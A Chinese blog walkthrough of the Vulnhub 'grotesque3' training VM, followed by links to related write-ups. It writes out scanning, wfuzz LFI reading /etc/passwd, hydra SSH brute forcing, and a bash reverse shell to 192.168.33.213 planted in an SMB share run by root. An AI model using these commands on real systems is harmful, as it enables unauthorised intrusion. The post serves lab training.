Vulnhub实战-grotesque3靶机

靶机地址:http://www.vulnhub.com/entry/grotesque-301,723/

1.靶机描述

2.主机探测,端口扫描

  1. 我们在vmware中成功导入靶机之后,在kali中进行主机探测

nmap -sn 192.168.33.0/24

得到主机IP,接下来进行端口扫描

nmap -sS -p- -v 192.168.33.230

我们发现开启了80和22端口,这里说明可以进行ssh爆破,但是没有线索胡乱爆破太费时间了,所以先去看看80端口web服务有什么吧。

3.web测试

  1. 访问IP地址得到如下页面

我们看看源代码发现有一个图片,然后就啥也没了。点进去看看,我还以为是图片隐写呢,害得我一顿binwalk,foremost,stepgeek进行图片破解都无果,我在这里替大家把坑都走了。最后看了大佬的博客才发现图片里面有一个mdXXXXX,这居然代表着md5,沃日我人傻了

然后接下来居然是从文件名入手,我也不知道咋想的啥脑洞呀。我丢!意思是文件名是经过md5加密的。接下来我们先生成一个md5的文件名表。就用的kali自带的字典/usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt。

执行以下命令将这个字典转换成md5的字典

for i in $(cat /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt); do echo $i | md5sum >> 2.txt; done

接下来我们home目录下面就有了一个2.txt,里面都是经过md5加密的文件名,这个2.txt一开始后面都会有两个空格和一个短杠,这个是要去掉的。给它们替换成空就行了。

然后通过kali自带的工具dirbuster进行文件名遍历,在终端输入dirbuster就可以开启这个工具了。然后我们输入地址,导入字典直接开启了,最后就遍历出了一个php文件。

我们访问这个php文件返回为空,接下来就行进行参数爆破了

通过kali自带的wfuzz工具进行http参数爆破,最后爆破出了一个参数purpose

wfuzz -c -w /root/dictionary/fuzzDicts-master/paramDict/AllParam.txt --hh 0 --hc 404,403 -u "http://192.168.33.230/f66b22bf020334b04c7d0d3eb5010391.php?FUZZ=/etc/passwd" -t 60

我们访问这个页面发现了用户名freddie,接下来就是用hydra进行ssh爆破密码啦,密码我们就用刚刚md5加密的词表去爆破吧,我也不知道作者咋想的,我估计这个writeup如果不是作者写的话,神仙也做不出来吧。

执行以下命令:

hydra -l freddie -P /home/2.txt ssh://192.168.33.230 -t 60

接下来我们登录ssh:

ssh freddie@192.168.33.230

4.提权

我们发现当前用户是freddie,接下来我们就是想办法提升到root权限。

  1. 我们看看能不能执行什么系统命令,发现并没有 命令:sudo -l
  2. 我们再看看也没有什么suid权限的文件,发现也没有 命令:find / -perm -u=s -type f 2>/dev/null

接下来我们执行ss -tulpn发现开启了445端口,证明有smb服务在运行

接下来我们看看后台进程吧,发现有一个进程在执行,就是root用户在执行一个命令/bin/sh -c bash /smbshare/*

说明root用户在用bash这个命令去执行smbshare文件夹下面的sh文件,这个时候我们就可以传一个sh的反弹shell到smb共享文件夹下面,因为后台开启了这个进程它会自动执行这个文件夹下面的sh脚本,可能一分钟执行一次,大家传上去之后可以等等看kali过一会应该就能连上shell。

我们进到/tmp文件夹,然后进入smb共享文件夹(进入smb是不需要输入密码的,直接回车就行了。):

通过这个遍历出smb的文件名,我们发现有三个文件,依次尝试发现第二个是能够进去的。

smbclient -L 127.0.0.1

然后进入smb:

smbclient //127.0.0.1/grotesque

在这里我们是可以下载靶机的/tmp目录下面的文件进来的,通过put命令,接下来我们下载一个sh的反弹shell进来就可以了。

shell文件:

#!/bin/bash
sh -i >& /dev/tcp/192.168.33.213/10086 0>&1

我们的kali创建这个shell文件之后,通过python开启一个http服务:python3 -m http.server 9000,然后我们靶机的shell去下载这个文件

kali:
python -m http.server 9000
//这个命令在哪个目录执行的,这个目录就是跟目录 靶机:
wget http://kali的ip:9000/shell.sh kali监听端口,我的是10086:
nc -lnvp 10086 smb:
put shell.sh

最后我们就获取到root权限了,我估计后台那个进程应该是过多久执行一次,所以如果你把脚本下载进去没有立马反弹shell,你可以等等看,一分钟左右应该就会弹shell了。


Vulnhub实战-grotesque3靶机👻的更多相关文章

  1. Vulnhub实战-JIS-CTF_VulnUpload靶机👻

    Vulnhub实战-JIS-CTF_VulnUpload靶机 下载地址:http://www.vulnhub.com/entry/jis-ctf-vulnupload,228/ 你可以从上面地址获取靶 ...

  2. Vulnhub实战-doubletrouble靶机👻

    Vulnhub实战-doubletrouble靶机 靶机下载地址:https://www.vulnhub.com/entry/doubletrouble-1,743/ 下载页面的ova格式文件导入vm ...

  3. Vulnhub实战-DockHole_1靶机👻

    Vulnhub实战-DockHole_1靶机 靶机地址:https://www.vulnhub.com/entry/darkhole-1,724/ 1.描述 我们下载下来这个靶机然后在vmware中打 ...

  4. Vulnhub实战-Dockhole_2靶机👻

    Vulnhub实战-Dockhole_2靶机 靶机地址:https://www.vulnhub.com/entry/darkhole-2,740/ 1.描述 hint:让我们不要浪费时间在蛮力上面! ...

  5. Vulnhub实战-FALL靶机👻

    Vulnhub实战-FULL靶机 下载地址:http://www.vulnhub.com/entry/digitalworldlocal-fall,726/ 1.描述 通过描述我们可以知道这个靶机枚举 ...

  6. Vulnhub实战-rtemis靶机👻

    Vulnhub实战-rtemis靶机 下载地址:http://www.vulnhub.com/entry/r-temis-1,649/ 描述 通过描述我们知道这个靶机有两个flag 主机发现 通过nm ...

  7. Vulnhub实战-dr4g0n b4ll靶机👻

    Vulnhub实战-dr4g0n b4ll靶机 地址:http://www.vulnhub.com/entry/dr4g0n-b4ll-1,646/ 描述:这篇其实没有什么新奇的技巧,用到的提权方式就 ...

  8. 【Vulnhub】DC-2靶机

    Vulnhub DC-2 靶机 信息搜集 访问web端发现访问不了,可以观察到相应的URL为域名而不是IP,需要在hosts文件种添加一条DNS记录. host位置:C:\Windows\System ...

  9. 3. 文件上传靶机实战(附靶机跟writeup)

    upload-labs 一个帮你总结所有类型的上传漏洞的靶场 文件上传靶机下载地址:https://github.com/c0ny1/upload-labs   运行环境 操作系统:推荐windows ...

随机推荐

  1. Servlet学习笔记(一)之Servlet原理、初始化、生命周期、结构体系

    Servlet是用java语言编写的应用到Web服务器端的扩展技术,与java对象的区别是,Servlet对象主要封装了对HTTP请求的处理,并且它的运行需要Servlet容器的支持(以下会介绍原因, ...

  2. Redis详解(三)——

    redis https://www.cnblogs.com/zhangyinhua/p/14504717.html

  3. Python常见问题 - python3 使用requests发送HTTPS请求报certificate verify failed 错误

    当你使用 requests 发送HTTPS请求时 requests.get(url, parmas=parmas, headers=header, cookies=cookie) 出现了以下错误 HT ...

  4. MongoDB(15)- 查询操作里面的游标 cursor

    db.collection.find() 方法里面的游标 该方法最后会返回一个 cursor 正常情况下,访问文档必须迭代游标 重点事项 当调用 find() 函数时,Shell 并不立即查询数据库, ...

  5. www迁移

    www迁移主要就是2部分: 1)官网页面架构,即 ./drupal/index.php 2)官网图片,即 ./drupal/assets/ 目录下的文件 1. 在ubuntu上搭建基础v1.0环境 2 ...

  6. 使用ECS和OSS搭建个人网盘

    体验简介 本场景将提供一台配置了Centos 7.7版本的ECS实例(云服务器)和对象存储OSS实例.通过本教程的操作,您可以基于ECS和OSS快速搭建一个个人网盘. 体验此场景后,可以掌握的知识有: ...

  7. 【转】shell中的$0 $n $# $* $@ $? $$ 变量 if case for while

    shell中的$0 $n $# $* $@ $? $$  shell 编程 | shift 命令用法笔记 $0当前脚本的文件名 $n传递给脚本或函数的参数.n 是一个数字,表示第几个参数.例如,第一个 ...

  8. 安卓使用讯飞sdk报错

    java.lang.NullPointerException: Attempt to invoke virtual method 'boolean com.iflytek.cloud.SpeechSy ...

  9. 解决IE浏览器 点击子元素重复调用执行 mouseover 与mouseout兼容性问题

    将函数配对换为下面2个就可以解决兼容性问题. mouseenter() mouseleave(0

  10. [源码解析] PyTorch 流水线并行实现 (2)--如何划分模型

    [源码解析] PyTorch 流水线并行实现 (2)--如何划分模型 目录 [源码解析] PyTorch 流水线并行实现 (2)--如何划分模型 0x00 摘要 0x01 问题 0x01 自动平衡 1 ...